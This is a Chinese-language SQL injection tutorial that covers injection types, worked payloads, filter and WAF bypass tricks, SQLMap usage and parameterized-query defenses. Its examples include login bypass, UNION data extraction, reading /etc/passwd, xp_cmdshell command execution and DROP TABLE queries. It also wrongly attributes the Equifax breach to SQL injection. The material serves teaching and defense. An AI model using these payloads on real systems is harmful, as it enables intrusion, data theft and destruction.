目录
-
什么是 SQL 注入
-
SQL 注入的危害
-
攻击原理深度解析
-
常见注入类型与手法
-
实战案例演示
-
高级绕过技术
-
防御策略与最佳实践
-
检测与审计工具
-
总结与思考
什么是 SQL 注入
SQL 注入(SQL Injection) 是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,欺骗数据库服务器执行非预期的 SQL 命令。
核心概念
正常输入: user_id = 123 生成的 SQL: SELECT * FROM users WHERE id = 123
恶意输入: user_id = 123 OR 1=1 生成的 SQL: SELECT * FROM users WHERE id = 123 OR 1=1
当 1=1 永远为真时,条件被绕过,可能返回所有用户数据。
为什么 SQL 注入如此危险
-
普遍性: 任何与数据库交互的应用都可能存在
-
高危害性: 可导致数据泄露、数据篡改、甚至服务器控制
-
隐蔽性: 攻击痕迹往往难以察觉
-
易利用性: 自动化工具使攻击门槛极低
SQL 注入的危害
数据层面
| 危害类型 | 具体影响 | 严重程度 |
|---|---|---|
| 数据泄露 | 获取敏感信息(密码、信用卡、个人隐私) | 5/5 |
| 数据篡改 | 修改账户余额、权限等级 | 5/5 |
| 数据删除 | 清空数据库表 | 4/5 |
| 数据注入 | 插入恶意数据、后门账户 | 4/5 |
系统层面
-
服务器控制: 通过数据库执行系统命令(如 xp_cmdshell)
-
权限提升: 从普通用户提升到管理员
-
横向移动: 利用数据库服务器作为跳板攻击内网
-
服务瘫痪: 执行资源消耗型查询导致 DoS
真实案例
2017年 Equifax 数据泄露
影响: 1.47 亿用户
原因: Apache Struts 漏洞导致的 SQL 注入
损失: 超过 7 亿美元
2012年 LinkedIn 密码泄露
影响: 650 万用户密码哈希被窃取
攻击向量: SQL 注入获取数据库访问权限
攻击原理深度解析
漏洞产生的根本原因
危险代码示例(Python + MySQL):
php
import mysql.connector
def get_user(username, password):
conn = mysql.connector.connect(host="localhost", database="app")
cursor = conn.cursor()
# 危险:直接拼接用户输入
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)
return cursor.fetchone()
攻击者输入 username = admin' OR '1'='1 即可绕过密码验证。
SQL 语句的解析过程
-
词法分析: 将输入分解为 Token
-
语法分析: 构建抽象语法树(AST)
-
语义分析: 验证表名、列名是否存在
-
查询优化: 生成执行计划
-
执行: 返回结果
注入点出现在第 1-2 步,恶意输入改变了 SQL 的语义结构。
常见注入类型与手法
1. 基于错误的注入(Error-based)
利用数据库报错信息获取敏感数据。
MySQL 报错注入示例:
php
' AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e)) --
报错信息显示:XPATH syntax error: ~5.7.32~
常用函数:
MySQL: extractvalue(), updatexml(), floor()
PostgreSQL: cast(), ::int
SQL Server: convert(), @@version
2. 联合查询注入(Union-based)
使用 UNION 合并查询结果,获取其他表数据。
确定列数:
' ORDER BY 1 -- ' ORDER BY 2 -- ' ORDER BY 3 -- (报错,说明有 2 列)
获取数据:
' UNION SELECT username, password FROM admin_users --
3. 布尔盲注(Boolean-based Blind)
当页面不返回错误信息时,通过页面差异判断条件真假。
判断数据库名长度:
' AND LENGTH(DATABASE()) = 8 --逐字符猜测数据库名(逐次尝试,页面正常响应则字符匹配):
' AND SUBSTRING(DATABASE(), 1, 1) = 'a' --
4. 时间盲注(Time-based Blind)
通过延迟响应时间判断条件真假。
php
MySQL: ' AND IF(SUBSTRING(DATABASE(),1,1)='t', SLEEP(5), 0) --
PostgreSQL: ' AND CASE WHEN SUBSTRING(current_database(),1,1)='t' THEN pg_sleep(5) END --
SQL Server: ; IF (SUBSTRING(DB_NAME(),1,1)='t') WAITFOR DELAY '0:0:5' --
5. 堆叠查询注入(Stacked Queries)
执行多条 SQL 语句(需要数据库支持)。
php
'; DROP TABLE users; --
'; INSERT INTO admin_users VALUES ('hacker', 'password'); --
限制: 某些数据库 API(如 PHP 的 mysql_query)不支持多语句执行。
6. 二次注入(Second-order)
php
恶意数据被存储后,在后续查询中被不安全地使用。
第一步:注册时插入恶意数据(看似无害)
INSERT INTO users (username) VALUES ("admin'--")
第二步:后续查询中使用该数据时触发注入
SELECT * FROM logs WHERE username = 'admin'--'
实战案例演示
案例 1:登录绕过
漏洞代码(PHP):
php
query = "SELECT * FROM users WHERE username='$username' AND password='$password'"
攻击载荷:
用户名: admin' --
密码: 任意
生成的 SQL:
php
SELECT * FROM users WHERE username='admin' --' AND password='任意'
-- 注释掉了密码验证部分,直接以 admin 身份登录。
案例 2:UNION 数据提取
php
步骤 1: 确定列数
' ORDER BY 4 -- 报错,有 3 列
步骤 2: 使用 UNION 获取数据
' UNION SELECT table_name,2,3 FROM information_schema.tables --
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT username,password,3 FROM users --
案例 3:读取文件(MySQL)
php
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3 --
案例 4:命令执行(SQL Server)
php
; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --
; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
; EXEC xp_cmdshell 'whoami' --
高级绕过技术
1. 过滤绕过
php
空格过滤(用注释代替空格):
'/**/OR/**/1=1--
用括号代替空格:
'(1)OR(1=1)--
关键字过滤(大写混合):
' UnIoN SeLeCt 1,2,3 --
关键字过滤(双写绕过,即过滤器只删除一次):
' UNIUNIONON SELECT 1,2,3 --
MySQL 内联注释绕过:
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 --
2. WAF 绕过
php
URL 编码绕过:
%27%20%4F%52%20%31%3D%31%20%2D%2D
十六进制绕过:
0x27204F5220313D3120--
HTTP 参数污染:
?id=1&id=2 UNION SELECT 1,2,3--
3. 无引号注入
使用 CHAR() 函数构造字符串:
php
' UNION SELECT CHAR(97,100,109,105,110),2,3 -- 等于 'admin'
使用十六进制字符串:
php
' UNION SELECT 0x61646d696e,2,3 --
防御策略与最佳实践
1. 参数化查询(Prepared Statements)★★★★★
原理: 将 SQL 代码与数据分离,数据作为参数传递,不会被解释为 SQL 代码。这是最根本、最有效的防御手段。
php
Python (psycopg2):
cur.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)
Java (JDBC):
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
PHP (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :u AND password = :p");
$stmt->execute(['u' => $username, 'p' => $password]);
Node.js (mysql2):
await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
)
2. 输入验证与白名单
php
import re
def validate_user_id(user_id):
# 只允许纯数字
if not re.match(r'^\d+$', str(user_id)):
raise ValueError("Invalid user ID")
return int(user_id)
def validate_sort_column(column):
# 白名单验证,防止动态列名注入
allowed_columns = ['id', 'name', 'created_at', 'email']
if column not in allowed_columns:
raise ValueError("Invalid sort column")
return column
3. 最小权限原则
php
-- 创建专用应用账户
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'StrongP@ssw0rd!';
-- 仅授予必要权限
GRANT SELECT, INSERT, UPDATE ON app.users TO 'app_user'@'localhost';
-- 禁止危险操作
REVOKE DROP, DELETE, FILE ON *.* FROM 'app_user'@'localhost';
4. 错误信息处理
危险(暴露详细错误信息):
php
try:
cursor.execute(query)
except Exception as e:
return f"Database error: {str(e)}" # 暴露表结构、版本等信息
安全(记录详细错误,返回通用信息):
try:
cursor.execute(query)
except Exception as e:
logger.error(f"Database error: {str(e)}") # 写入日志
return "An error occurred. Please try again later."
5. 完整防御清单
- 所有数据库查询使用参数化语句
- 动态排序/表名使用白名单验证
- 错误信息不暴露数据库细节
- 数据库账户权限最小化
- 敏感操作记录审计日志
- 部署 WAF 作为额外防护层
- 定期进行安全扫描和渗透测试
- 依赖库及时更新,修复已知漏洞
检测与审计工具
主流工具对比
| 工具 | 类型 | 特点 |
|---|---|---|
| SQLMap | 开源 | 最全面的 SQL 注入工具,支持所有主流数据库 |
| Burp Suite | 商业/社区版 | 集成扫描器,适合 Web 应用测试 |
| OWASP ZAP | 开源 | 免费,适合持续集成 |
| Acunetix | 商业 | 企业级,误报率低 |
| Nuclei | 开源 | 快速,模板化扫描 |
SQLMap 常用命令
php
# 基础扫描
sqlmap -u "http://target.com/page.php?id=1"
# 获取数据库列表
sqlmap -u "http://target.com/page.php?id=1" --dbs
# 获取表列表
sqlmap -u "http://target.com/page.php?id=1" -D mydb --tables
# 获取数据
sqlmap -u "http://target.com/page.php?id=1" -D mydb -T users --dump
# 使用 POST 数据
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test"
# 指定注入技术(B=布尔 E=报错 U=联合 S=堆叠 T=时间 Q=内联)
sqlmap -u "http://target.com/page.php?id=1" --technique=BEUSTQ
总结与思考
核心要点
-
SQL 注入的本质: 数据与代码的边界模糊,用户输入被当作代码执行
-
最有效的防御: 参数化查询,从根本上隔离数据与代码
-
纵深防御: 多层防护,不依赖单一措施
-
持续监控: 日志、告警、定期审计缺一不可
安全开发黄金法则
永远不要信任用户输入 | v 使用参数化查询(首选) | v 输入验证 + 白名单(辅助) | v 最小权限原则(限制损失) | v 安全日志记录(事后追溯) | v 定期安全测试(持续改进)
未来趋势
-
AI 驱动的攻击: 自动化生成绕过载荷,攻击效率大幅提升
-
NoSQL 注入: MongoDB、Redis 等新型数据库同样存在注入风险
-
ORM 安全: ORM 框架的不当使用同样可能导致注入
-
供应链攻击: 通过第三方依赖库引入 SQL 注入漏洞
学习资源
OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
PortSwigger Web Security Academy: https://portswigger.net/web-security/sql-injection
SQLMap 官方文档: https://sqlmap.org/
HackTheBox: https://www.hackthebox.com/ - 实战练习平台
DVWA: https://dvwa.co.uk/ - 本地靶场环境
安全是一场没有终点的马拉松,而非短跑。 保持警惕,持续学习,让安全成为开发流程的一部分, 而不是事后补救的手段。
本文仅供安全研究和教育目的,请勿用于非法活动。
最后更新: 2026年4月7日